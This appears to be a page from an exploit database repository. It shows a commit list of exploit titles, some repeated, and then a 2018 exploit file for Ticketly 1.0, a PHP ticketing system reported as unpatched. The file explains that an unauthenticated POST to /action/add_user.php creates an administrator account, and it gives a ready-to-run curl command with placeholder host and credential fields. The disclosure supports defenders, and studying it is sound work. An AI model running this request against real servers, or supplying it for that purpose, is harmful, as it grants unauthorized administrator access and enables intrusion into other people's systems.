e3299ef341
4 changes to exploits/shellcodes macOS 10.13 - 'workq_kernreturn' Denial of Service (PoC) Qpopper 4.0.x - poppassd Privilege Escalation Qpopper 4.0.x - 'poppassd' Privilege Escalation HP-UX 11.0/11.11 - swxxx Privilege Escalation HP-UX 11.0/11.11 - 'swxxx' Privilege Escalation ABRT - raceabrt Privilege Escalation(Metasploit) ABRT - 'raceabrt' Privilege Escalation (Metasploit) ImageMagick - Memory Leak Microsoft Windows - DfMarshal Unsafe Unmarshaling Privilege Escalation Navetti PricePoint 4.6.0.0 - SQL Injection / Cross-Site Scripting / Cross-Site Request Forgery Kordil EDMS 2.2.60rc3 - Arbitrary File Upload Simple E-Document 1.31 - 'username' SQL Injection 2-Plan Team 1.0.4 - Arbitrary File Upload PHP Mass Mail 1.0 - Arbitrary File Upload WordPress Plugin Ninja Forms 3.3.17 - Cross-Site Scripting Warranty Tracking System 11.06.3 - 'txtCustomerCode' SQL Injection Helpdezk 1.1.1 - Arbitrary File Upload DomainMOD 4.11.01 - Cross-Site Scripting Kordil EDMS 2.2.60rc3 - Arbitrary File Upload Simple E-Document 1.31 - 'username' SQL Injection 2-Plan Team 1.0.4 - Arbitrary File Upload PHP Mass Mail 1.0 - Arbitrary File Upload WordPress Plugin Ninja Forms 3.3.17 - Cross-Site Scripting Warranty Tracking System 11.06.3 - 'txtCustomerCode' SQL Injection Helpdezk 1.1.1 - Arbitrary File Upload DomainMOD 4.11.01 - Cross-Site Scripting Ticketly 1.0 - Cross-Site Request Forgery (Add Admin)
27 lines
No EOL
1.2 KiB
Text
27 lines
No EOL
1.2 KiB
Text
# Exploit Title: Ticketly 1.0 - Cross-Site Request Forgery (Add Admin)
|
|
# Exploit Author: Javier Olmedo
|
|
# Website: https://hackpuntes.com
|
|
# Date: 2018-11-19
|
|
# Google Dork: N/A
|
|
# Vendor: Abisoft (https://abisoftgt.net)
|
|
# Software Link: https://abisoftgt.net/software/6/sistema-de-tickets-y-soporte-con-php-y-mysql
|
|
# Affected Version: 1.0
|
|
# Patched Version: unpatched
|
|
# Category: Web Application
|
|
# Platform: Windows & Ubuntu
|
|
# Tested on: Win10x64 & Kali Linux
|
|
# CVE: N/A
|
|
# 4. References:
|
|
# https://hackpuntes.com/cve-2018-18922-ticketly-1-0-escalacion-de-privilegios-crear-cuenta-administrador/
|
|
|
|
# 1. Technical Description:
|
|
# Ticketly version 1.0 are affected by a privilege escalation vulnerability,
|
|
# an attacker could create an administrator user account by sending a POST
|
|
# request to the resource /action/add_user.php without authentication.
|
|
|
|
# 2. Proof Of Concept (PoC):
|
|
# Send request curl:
|
|
curl -i -s -k -X $'POST' \
|
|
-H $'Host: [HOST]' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 82' \
|
|
--data-binary $'name=[NAME]&lastname=[LASTNAME]&email=[EMAIL]&status=1&password=[PASS]' \
|
|
$'http://[PATH]/action/add_user.php' |